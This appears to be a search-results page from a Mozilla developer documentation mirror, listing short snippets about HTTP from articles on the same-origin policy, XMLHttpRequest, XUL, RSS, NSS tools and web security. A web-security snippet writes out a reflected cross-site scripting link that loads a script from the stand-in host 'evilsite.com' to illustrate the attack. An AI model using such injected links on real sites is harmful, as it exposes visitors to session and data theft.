(a "tuple" is a set of items that together comprise a whole — a generic form for double/triple/quadruple/quintuple/etc.) the following table gives examples of origin comparisons with the url http://store.company.com/dir/page.html: url outcome reason http://store.company.com/dir2/other.html same origin only the path differs http://store.company.com/dir/inner/another.html same origin only the path differs https://store.company.com/page.html failure different protocol http://store.company.com:81/dir/page.html failure ...
... different port (http:// is port 80 by default) http://news.company.com/dir/page.html failure different host inherited origins scripts executed from pages with an about:blank or javascript: url inherit the origin of the document containing that url, since these types of urls do not contain information about an origin server.
...therefore, https://company.com:81/index.html and https://company.com/index.html are considered the same origin and no restrictions are applied.
...And 7 more matches
Transport Layer Security - Web security
history when https was introduced, it was based on secure sockets layer (ssl) 2.0, a technology introduced by netscape.
... although tls can be used on top of any low-level transport protocol, the original goal of the protocol was to encrypt http traffic.
... http encrypted using tls is commonly referred to as https.
...And 7 more matches
net/xhr - Archive of obsolete content
provides access to xmlhttprequest functionality.
... usage security concerns by default, the xmlhttprequest object grants full access to any protocol scheme, which means that it can be used to read from (but not write to) the host system's entire filesystem.
... threat model the xmlhttprequest object can be used by an add-on to "phone home" and transmit potentially sensitive user data to third parties.
...And 6 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
the second is to re-code to use xmlhttprequest.
... step 3b: option 2: use xmlhttprequest now, how do we replace that?
... the answer to that question is to load your file from a chrome:// uri using xmlhttprequest.
...And 6 more matches
Creating a dynamic status bar extension - Archive of obsolete content
write the xul file we need a slightly more complicated xul file this time, in order to add a reference to the javascript code that will do the real work: <?xml version="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="stockwatcher-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://stockwatcher/content/stockwatcher.js"/> <!-- firefox --> <statusbar id="status-bar"> <statusbarpanel id="stockwatcher" label="loading..." tooltiptext="current value" onclick="stockwatcher.refreshinformation()" /> </statusbar> </overlay> also, notice that the definitio...
...refreshinformation: function() { var httprequest = null; var fullurl = 'http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=goog'; // ...
... httprequest = new xmlhttprequest(); httprequest.open('get', fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } the httprequest variable will contain an xmlhttprequest object.
...And 6 more matches
Getting started with HTML - Learn web development
for example, the <img> element embeds an image file onto a page: <img src="https://udn.realityripple.com/samples/d5/2be21e0477.png"> this would output the following: note: empty elements are sometimes called void elements.
...for example: href="https://www.mozilla.org/".
...utionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value = 'show solution'; } updatecode(); }); var htmlsolution = '<p>a link to my <a href="https://www.mozilla.org/" title="the mozilla homepage" target="_blank">favorite website</a>.</p>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefaul...
...And 6 more matches
Introduction to the server side - Learn web development
web browsers communicate with web servers using the hypertext transfer protocol (http).
... when you click a link on a web page, submit a form, or run a search, an http request is sent from your browser to the target server.
... the request includes a url identifying the affected resource, a method that defines the required action (for example to get, delete, or post the resource), and may include additional information encoded in url parameters (the field-value pairs sent via a query string), as post data (data sent by the http post method), or in associated cookies.
...And 6 more matches
Creating localizable web applications
you can use one or more of the following techniques: http accept-language headers, the ua string, ip geolocation.
...http://example.com/foo/bar) or on its end (e.g.
... http://example.com/foo/bar/en-us).
...And 6 more matches
NSS_3.12_release_notes.html
nss 3.12 source and binary distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_rtm/src/.
... binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_rtm/.
...nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/.
...And 6 more matches
Web Console remoting - Firefox Developer Tools
protocol packets look as follows: { "to": "root", "type": "listtabs" } { "from": "root", "consoleactor": "conn0.console9", "selected": 2, "tabs": [ { "actor": "conn0.tab2", "consoleactor": "conn0.console7", "title": "", "url": "https://tbpl.mozilla.org/?tree=fx-team" }, // ...
... send http requests starting with firefox 25 you can send an http request using the console actor: { "to": "conn0.console9", "type": "sendhttprequest", "request": { "url": "http://localhost", "method": "get", "headers": [ { name: "header-name", value: "header value", }, // ...
... ], }, } the response packet is a network event actor grip: { "to": "conn0.console9", "eventactor": { "actor": "conn0.netevent14", "starteddatetime": "2013-08-26t19:50:03.699z", "url": "http://localhost", "method": "get" "isxhr": true, "private": false } } you can also use the webconsoleclient.sendhttprequest(request, onresponse) method.
...And 6 more matches
Box-shadow generator - CSS: Cascading Style Sheets
: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } .ui-checkbo...
...x > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } /* * box shadow generator tool */ body { max-width: 1000px; height: 800px; margin: 20px auto 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } #container { width: 100%; padding: 2px; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* container with shadows stacks */ #stack_container { height: 400px; overflow: hidden; position: relative; border: 1px solid #ccc; border-radius: ...
...er: 1px solid #ccc; border-radius: 3px; display: block; background-position: center center; background-repeat: no-repeat; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; float: left; } #layer_manager .button:hover { background-color: #3380c4; border: 1px solid #3380c4; cursor: pointer; } #layer_manager [data-type='add'] { background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png"); } #layer_manager [data-type='add']:hover { background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png"); } #layer_manager [data-type='move-up'] { background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png"); margin-left: 5%; margin-right: 5%; } #layer_manager [data-type='move-up']:hover { background-ima...
...And 6 more matches
Event reference
abort progressevent progress and xmlhttprequest progression has been terminated (not due to an error).
... error progressevent progress and xmlhttprequest progression has failed.
... load progressevent progress and xmlhttprequest progression has been successful.
...And 6 more matches
Audio and Video Delivery - Developer guides
web audio api var context; var request; var source; try { context = new audiocontext(); request = new xmlhttprequest(); request.open("get","http://jplayer.org/audio/mp3/riomez-01-sleep_together.mp3",true); request.responsetype = "arraybuffer"; request.onload = function() { context.decodeaudiodata(request.response, function(buffer) { source = context.createbuffersource(); source.buffer = buffer; source.connect(context.destination); // auto play so...
... a quick example — first set up your audio and custom controls in html: <audio id="my-audio" src="http://jplayer.org/audio/mp3/miaow-01-tempered-song.mp3"></audio> <button id="my-control">play</button> add a bit of javascript to detect events to play and pause the audio: window.onload = function() { var myaudio = document.getelementbyid('my-audio'); var mycontrol = document.getelementbyid('my-control'); function switchstate() { if (myaudio.paused == true) { myaudio.play(); ...
... a few examples: http://example.com/video.ogv#t=10,20 specifies that the video should play the range 10 seconds through 20 seconds.
...And 6 more matches
request - Archive of obsolete content
for more advanced usage, check out the net/xhr module, based on the browser's xmlhttprequest object.
...to force the response to be interpreted as latin-1, use overridemimetype: var request = require("sdk/request").request; var quijote = request({ url: "http://www.latin1files.org/quijote.txt", overridemimetype: "text/plain; charset=latin1", oncomplete: function (response) { console.log(response.text); } }); quijote.get(); anonymous boolean if true, the request will be sent without cookies or authentication headers.
... this option sets the mozanon property in the underlying xmlhttprequest object.
...And 5 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
see https://addons.mozilla.org/firefox/216/.
...https://addons.mozilla.org/firefox/46/.
... http://hyperstruct.net/projects/mozunit after relaunching, set up the editor you’ll use to write tests.
...And 5 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
the namespace uri is : http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul if the character encoding is utf-8, both the encoding specifier and the xml declaration can be omitted.
... <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://global/skin/"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- contents go here.
... <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://global/skin/"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="my dialog" buttons="accept,cancel" ondialogaccept="savevalues(); window.close();" ondialogcancel="window.close();"> <checkbox label="my option"/> </dialog> listing 8: a dialog figure 5: output from listing 8 note: the functions behind the dialog elements discussed here require "xpconnect privileges," which are di...
...And 5 more matches
Appendix D: Loading Scripts - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="script-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript;version=1.8" src="overlay.js"/> </overlay> evalinsandbox the components.utils.evalinsandbox method may be used to load arbitrary code into components.utils.sandbox objects.
... javascript files or urls may be loaded in this manner by first retrieving their contents into memory using an xmlhttprequest.
... in addition to compile time, reading files synchronously from disk has its own overhead, and xmlhttprequests have significantly more overhead than native loading methods.
...And 5 more matches
URIs and URLs - Archive of obsolete content
gateways, proxies, caches, and name resolution services might be used to access some resources, independent of the protocol of their origin, and the resolution of some url may require the use of more than one protocol (e.g., both dns and http are typically used to access an "http" url's resource when it can't be found in a local cache).
...nsiurl inherits from nsiuri and represents access to typical urls with schemes like "http", "ftp", ...
...nsstandardurl the most important implementation of nsiurl is nsstandardurl which is the basis for protocols like http, ftp, ...
...And 5 more matches
Actions - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <button uri="?relateditem" label="?relateditem"/> </action> </template> </vbox> in this...
...let's look at the results again: (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/b) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/c) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/d) the builder will start with the first result.
...since the first result has a value of 'http://www.xulplanet.com/rdf/b' for the ?relateditem variable, the id will be set to this value.
...And 5 more matches
Filtering - Archive of obsolete content
function applyfilter(country) { var cond = document.getelementbyid("cond"); var triple = document.getelementbyid("filtertriple"); if (country) { if (!triple) { triple = document.createelement("triple"); triple.id = "filtertriple"; triple.setattribute("subject", "?photo"); triple.setattribute("predicate", "http://www.xulplanet.com/rdf/country"); } triple.setattribute("object", country); cond.appendchild(triple); } else if (triple) { cond.removechild(triple); } document.getelementbyid("photoslist").builder.rebuild(); } the 'country' argument to the applyfilter function holds the value to filter by.
...for example, the resulting triple for the netherlands might be: <triple subject="?photo" predicate="http://www.xulplanet.com/rdf/country" object="http://www.daml.org/2001/09/countries/iso#nl"/> this triple is then appended to the query.
...an rdf type can be assigned to a node by using the predicate 'http://www.w3.org/1999/02/22-rdf-syntax-ns#type' set to a resource for that type.
...And 5 more matches
Templates - Archive of obsolete content
example 1 : source <vbox datasources="rdf:bookmarks" ref="nc:bookmarksroot" flex="1"> <template> <button uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </template> </vbox> here, a vertical box has been created that will contain a column of buttons, one for each top-level bookmark.
...to use your own datasource, specify the url of an rdf file for the datasources attribute, as indicated in the example below: <box datasources="chrome://zoo/content/animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"> you can even specify multiple datasources at a time by separating them with a space in the attribute value.
... <button class="rdf:http://www.example.com/rdf#class" uri="rdf:*" label="rdf:http://www.example.com/rdf#name" crop="rdf:http://www.example.com/rdf#crop"/> as you can see, you can dynamically generate lists of elements with the attributes provided by a separate datasource.
...And 5 more matches
XUL Questions and Answers - Archive of obsolete content
the following is the code they wrote: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="test-window" title="check list test" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <listbox rows="4"> <listhead> <listheader label="multi-column"/> </listhead> <listcols> <listcol flex="1"/> </listcols> <listitem> <listcell type="checkbox" value="1" label="vghkvghk"/> </listitem> <listitem> <listcell type="checkbox" value="2" label="vghjkvk" checked="true"/> ...
... see also http://developer.mozilla.org/en/docs...in_chrome_code how can i include a .js document from inside a javascript document?
... use the following snippet of code to reference a js file within a js file: objscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"].getservice(components.interfaces.mozijssubscriptloader); objscriptloader.loadsubscript(strurl); see http://www.xulplanet.com/references/...iptloader.html for more information.
...And 5 more matches
What is RSS - Archive of obsolete content
for example: <?xml version="1.0"?> <rss version="2.0"> <channel> <title>example news site</title> <description>this is an example news site.</description> <lastbuilddate>wed, 27 jul 2005 00:30:30 -0700</lastbuilddate> <link>http://news.example.com/</link> <item> <title>news flash: i like bread</title> <guid ispermalink="false">4d4a0a12-f188-4c97-908b-eea27213c2fe</guid> <pubdate>wed, 27 jul 2005 00:30:30 -0700</pubdate> <link>http://news.example.com/artcle/554</link> </item> <item> <title>big news today: birds fly</title> <gui...
...d ispermalink="false">c4a63f09-b45b-466b-8773-6ff264001ab7</guid> <pubdate>tue, 19 jul 2005 04:32:51 -0700</pubdate> <link>http://news.example.com/artcle/553</link> </item> <item> <title>fire is hot</title> <guid ispermalink="false">c1795324-d5ea-44fa-95b1-b5ce2090d4f1</guid> <pubdate>sun, 15 may 2005 13:02:08 -0700</pubdate> <link>http://news.example.com/artcle/552</link> </item> </channel> </rss> bloggers use rss to provide everyone with a list of their newest blog posts.
... for example: <?xml version="1.0"?> <rss version="2.0"> <channel> <title>joe blow's blog</title> <description>this is the weblog of joe blow</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://joe-blow.example.net/</link> <item> <title>i be blogging...</title> <guid>http://joe-blow.example.net/log/21</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</pubdate> <link>http://joe-blow.example.net/log/21</link> </item> <item> <title>i am so smrt</title> <guid>http://joe-blow.example.net/log/20</guid> <pubdate>sat, 14 may 2005 22:19:18 -0500</pubdate> <link>http://joe-blow.example.net/log/20</link> </i...
...And 5 more matches
Tamarin Tracing Build Documentation - Archive of obsolete content
use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-tracing tamarin-tracing building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (mmgc), and create a standalone executable, avmshell, for executing files in the abc file format.
...nor does any other brand of make.) with the right prerequisites, use these commands to build tamarin tracing: $ hg clone http://hg.mozilla.org/tamarin-tracing $ cd tamarin-tracing $ mkdir objdir-debug $ cd objdir-debug $ python ../configure.py --enable-shell $ make ...
...http://developer.mozilla.org/en/docs...mpliance_tests running tamarin performance tests follow the same steps as the tamarin central instructions.
...And 5 more matches
Third-party APIs - Learn web development
this typically involves first linking to a javascript library available on the server via a <script> element, as seen in our mapquest example: <script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script> <link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/> you can then start using the objects available in that library.
... note: some apis handle access to their functionality slightly differently, requiring the developer to make an http request to a specific url pattern to retrieve data.
...this type of api is known as a restful api — instead of getting data using the features of a javascript library like we did with mapquest, we get data by making http requests to specific urls, with data like search terms and other properties encoded in the url (often as url parameters).
...And 5 more matches
Properly configuring server MIME types - Learn web development
the http specification defines a superset of mime which is used to describe the media types used on the web.
... if the web server or application reports an incorrect mime type for content, a web browser has no way, according to the http specification, of knowing that the author actually intended the content to be processed and displayed in a way different from that implied by the reported mime type.
... why browsers should not guess mime types apart from violating the http specification, it is a bad strategy for browsers to guess mime types for the following reasons: loss of control if the browser ignores the reported mime type, web administrators and authors no longer have control over how their content is to be processed.
...And 5 more matches
Website security - Learn web development
other attacks can be mitigated through your web server configuration, for example by enabling https.
...an attacker can construct a search link that contains a malicious script as a parameter (e.g., http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) and email it to another user.
...john is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an http post request that includes the account name and an amount of money.
...And 5 more matches
Deployment and next steps - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/08-next-steps or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/08-next-steps remember to run npm install && npm run dev to start your app in development mode.
...[y/n] n linked to opensas/mdn-svelte-tutorial (created .vercel) inspect: https://vercel.com/opensas/mdn-svelte-tutorial/[...] [1s] ✅ production: https://mdn-svelte-tutorial.vercel.app [copied to clipboard] [19s] deployed to production.
... run `vercel --prod` to overwrite later (https://vercel.link/2f).
...And 5 more matches
Getting started with Svelte - Learn web development
you should see something like the following: <script> export let name; </script> <main> <h1>hello {name}!</h1> <p>visit the <a href="https://svelte.dev/tutorial">svelte tutorial</a> to learn how to build svelte apps.</p> </main> <style> main { text-align: center; padding: 1em; max-width: 240px; margin: 0 auto; } h1 { color: #ff3e00; text-transform: uppercase; font-size: 4em; font-weight: 100; } @media (min-width: 640px) { main { max-width: none; } } </style> the <script>...
... <main> <h1>hello {name}!</h1> <p>visit the <a href="https://svelte.dev/tutorial">svelte tutorial</a> to learn how to build svelte apps.</p> </main> svelte also supports tags like {#if...}, {#each...}, and {#await...} — these examples allow you to conditionally render a portion of the markup, iterate through a list of elements, and work with async values, respectively.
... try updating your <script> and markup sections like so: <script> export let name; function togglename() { if (name === 'world') { name = 'svelte' } else { name = 'world' } } </script> <main> <h1>hello {name}!</h1> <button on:click={togglename}>toggle name</button> <p>visit the <a href="https://svelte.dev/tutorial">svelte tutorial</a> to learn how to build svelte apps.</p> </main> whenever the button is clicked, svelte executes the togglename() function, which in turn updates the value of the name variable.
...And 5 more matches
NSS tools : ssltab
the following are well-known port numbers: * http 80 * https 443 * smtp 25 * ftp 21 * imap 143 * imaps 993 (imap over ssl) * nntp 119 * nntps 563 (nntp over ssl) usage and examples you can use the ssl debugging tool to intercept any connection information.
...in your browser window, enter the url http://intercept:1924.
...see also the nss security tools are also documented at [1]http://www.mozilla.org/projects/security/pki/nss/.
...And 5 more matches
NSS tools : ssltap
the following are well-known port numbers: * http 80 * https 443 * smtp 25 * ftp 21 * imap 143 * imaps 993 (imap over ssl) * nntp 119 * nntps 563 (nntp over ssl) usage and examples you can use the ssl debugging tool to intercept any connection information.
...in your browser window, enter the url http://intercept:1924.
...see also the nss security tools are also documented at [1]http://www.mozilla.org/projects/security/pki/nss/.
...And 5 more matches
NSS tools : ssltap
MozillaProjectsNSStoolsssltap
the following are well-known port numbers: * http 80 * https 443 * smtp 25 * ftp 21 * imap 143 * imaps 993 (imap over ssl) * nntp 119 * nntps 563 (nntp over ssl) usage and examples you can use the ssl debugging tool to intercept any connection information.
...in your browser window, enter the url http://intercept:1924.
... see also the nss security tools are also documented at [1]http://www.mozilla.org/projects/security/pki/nss/.
...And 5 more matches
Places Developer Guide
var bookmarkuri = cc["@mozilla.org/network/io-service;1"] .getservice(ci.nsiioservice) .newuri("http://www.mozilla.com", null, null); var bookmarkid = bookmarks.insertbookmark( bookmarks.toolbarfolder, // the id of the folder the bookmark will be placed in.
... creating a livemark var ioservice = cc["@mozilla.org/network/io-service;1"] .getservice(ci.nsiioservice); var siteuri = ioservice.newuri("http://www.mozilla.com", null, null); var feeduri = ioservice.newuri("http://www.mozilla.org/news.rdf", null, null); var livemarks = cc["@mozilla.org/browser/livemark-service;2"] .getservice(ci.nsilivemarkservice); livemarks.createlivemark(bookmarks.toolbarfolder, // the id of the folder the livemark will be placed in "my livemark title", // the title of the livemark siteu...
... getservice(ci.nsinavhistoryservice); var oururi = uri("http://www.mozilla.com"); var visitdate = date.now() * 1000; // in microseconds var referreruri = null; // or a uri var isredirect = false; var visittype = history.transition_link; // the visit is from a link that was clicked var sessionid = 0; // can link the visit with a specific browsing session history.addvisit(oururi, visitdate, referreruri, visittype, isredirect, sessionid); //...
...And 5 more matches
nsICookieService
method overview string getcookiestring(in nsiuri auri, in nsichannel achannel); string getcookiestringfromhttp(in nsiuri auri, in nsiuri afirsturi, in nsichannel achannel); void setcookiestring(in nsiuri auri, in nsiprompt aprompt, in string acookie, in nsichannel achannel); void setcookiestringfromhttp(in nsiuri auri, in nsiuri afirsturi, in nsiprompt aprompt, in string acookie, in string aservertime, in nsichannel achannel); attributes attribute type description ...
... getcookiestringfromhttp() get the complete cookie string associated with the uri.
...getcookiestring() will query the documenturi property off of nsihttpchannelinternal if supported, so getcookiestring() can be used in place of this method.
...And 5 more matches
nsILoginManagerStorage
method overview void addlogin(in nsilogininfo alogin); unsigned long countlogins(in astring ahostname, in astring aactionurl, in astring ahttprealm); void findlogins(out unsigned long count, in astring ahostname, in astring aactionurl, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); void getalldisabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); void getallencryptedlogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsi...
...unsigned long countlogins( in astring ahostname, in astring aactionurl, in astring ahttprealm ); parameters ahostname the hostname to which to restrict the search.
...ahttprealm the http realm for which the login applies.
...And 5 more matches
Mozilla
android-specific test suites there are several android-specific test suites that run on the firefox for android codebase: api change rules until further notice, the following rules govern api changes: application cache implementation overview this happens in nshttpchannel::opencacheentry().
...channels having that flag set are searching for nsiapplicationcache object prior inspecting normal http cache.
... creating sandboxed http connections starting with gecko 1.8.1 (firefox 2), it is possible to create sandboxed http connections which don't affect the user's cookies.
...And 5 more matches
Using files from web applications - Web APIs
function fileupload(img, file) { const reader = new filereader(); this.ctrl = createthrobber(img); const xhr = new xmlhttprequest(); this.xhr = xhr; const self = this; this.xhr.upload.addeventlistener("progress", function(e) { if (e.lengthcomputable) { const percentage = math.round((e.loaded * 100) / e.total); self.ctrl.update(percentage); } }, false); xhr.upload.addeventlistener("load", function(e){ self.ctrl.update(100); const canvas = self.ctr...
...l.ctx.canvas; canvas.parentnode.removechild(canvas); }, false); xhr.open("post", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php"); xhr.overridemimetype('text/plain; charset=x-user-defined-binary'); reader.onload = function(evt) { xhr.send(evt.target.result); }; reader.readasbinarystring(file); } the fileupload() function shown above creates a throbber, which is used to display progress information, and then creates an xmlhttprequest to handle uploading the data.
... before actually transferring the data, several preparatory steps are taken: the xmlhttprequest's upload progress listener is set to update the throbber with new percentage information so that as the upload progresses the throbber will be updated based on the latest information.
...And 5 more matches
HTMLScriptElement.referrerPolicy - Web APIs
the url is sent as a referrer when the protocol security level stays the same (e.g.httphttp, https→https), but isn't sent to a less secure destination (e.g.
... https→http).
... the document https://example.com/page.html will send the referrer https://example.com/.
...And 5 more matches
Ajax - Developer guides
WebGuideAJAX
asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object.
... using the xmlhttprequest api the xmlhttprequest api is the core of ajax.
...it will seem familiar to anyone who has used xmlhttprequest, but this api provides a more powerful and flexible feature set.
...And 5 more matches
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
permitted parents <meta charset>, <meta http-equiv>: a <head> element.
... if the http-equiv is not an encoding declaration, it can also be inside a <noscript> element, itself inside a <head> element.
... if the http-equiv attribute is set, the meta element is a pragma directive, providing information equivalent to what can be given by a similarly-named http header.
...And 5 more matches
itemscope - HTML: Hypertext Markup Language
note: find more about itemtype attributes at http://schema.org/thing simple example html the following example specifies the itemscope attribute.
... the example specifies the itemtype as "http://schema.org/movie", and specifies three related itemprop attributes.
... <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data from the preceding example.
...And 5 more matches
Web video codec guide - Web media technologies
chrome edge firefox internet explorer opera safari av1 support 70 75 67 no 57 no container support isobmff[1], mpeg-ts, mp4, webm rtp / webrtc compatible yes supporting/maintaining organization alliance for open media specification https://aomediacodec.github.io/av1-spec/av1-spec.pdf licensing royalty-free, open standard [1] iso base media file format [2] see the av1 specification's tables of levels, which describe the maximum resolutions and rates at each level.
... feature chrome edge firefox internet explorer opera safari avc/h.264 support 4 12 35[1] 9 25 3.2 container support 3gp, mp4, webm rtp / webrtc compatible yes supporting/maintaining organization mpeg / itu specification https://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding https://www.itu.int/rec/t-rec-h.264 licensing proprietary with numerous patents.
... feature chrome edge firefox internet explorer opera safari h.263 support no no no[1] no no no container support 3gp, mp4, quicktime rtp / webrtc compatible no supporting/maintaining organization itu specification https://www.itu.int/rec/t-rec-h.263/ licensing proprietary; appropriate license or licenses are required.
...And 5 more matches
tabs - Archive of obsolete content
usage open a tab you can open a new tab, specifying various properties including location: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); track tabs you can register event listeners to be notified when tabs open, close, finish loading dom content, or are made active or inactive: var tabs = require("sdk/tabs"); // listen for tab openings.
...by setting the url property you can load a new page in the tab: var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { tab.url = "http://www.example.com"; }); run scripts in a tab you can attach a content script to the page hosted in a tab, and use that to access and manipulate the page's content (see the modifying the page hosted by a tab tutorial): var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { var worker = tab.attach({ contentscript: 'self.port.emit("html", document.body.innerhtml);' }); wor...
...tabs.open("http://www.mysite.com"); // open a new tab in a new window and make it active.
...And 4 more matches
util/match-pattern - Archive of obsolete content
example pattern example matching urls example non-matching urls "http://example.com/" http://example.com/ http://example.com http://example.com/foo https://example.com/ http://foo.example.com/ wildcards a single asterisk matches any url with an http, https, or ftp scheme.
... example pattern example matching urls example non-matching urls "*" http://example.com/ https://example.com/ ftp://example.com/ http://bar.com/foo.js http://foo.com/ file://example.js resource://me/my-addon/data/file.html data:text/html,hi there a domain name prefixed with an asterisk and dot matches any url of that domain or a subdomain, using any of http, https, ftp.
... example pattern example matching urls example non-matching urls "*.example.com" http://example.com/ http://foo.example.com/ https://example.com/ http://example.com/foo ftp://foo.example.com/ ldap://example.com http://example.foo.com/ a url followed by an asterisk matches that url and any url prefixed with the pattern.
...And 4 more matches
Getting started (cfx) - Archive of obsolete content
open it and add the following code: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } save the file.
...click the icon, and a new tab will open with https://www.mozilla.org/ loaded into it.
...for example, we could change the page that gets loaded: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://developer.mozilla.org/"); } at the command prompt, execute cfx run again.
...And 4 more matches
HTML to DOM - Archive of obsolete content
although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild.
... safely parsing simple html to dom when using xmlhttprequest to get the html of a remote webpage, it is often advantageous to turn that html string into dom for easier manipulation.
... function htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.appendchild(body); body.appendchild(components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(ahtmlstring, false, null, body)); return body; } it works by creating a con...
...And 4 more matches
Namespaces - Archive of obsolete content
although there's nothing preventing someone else from using the namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally.
...the xul and foobar namespaces must be defined at the top of the xml document in which they are used, like so: <foobar:some-element xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:foobar="the-foobar-namespace"> <xul:textbox id="foo" value="bar"/> <foobar:textbox favorite-food="pancakes"/> </foobar:some-element> notice i've mixed two <textboxes/> in the same document.
...in xul documents, you'll usually see this: <window id="foo" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> ...
...And 4 more matches
Application Update - Archive of obsolete content
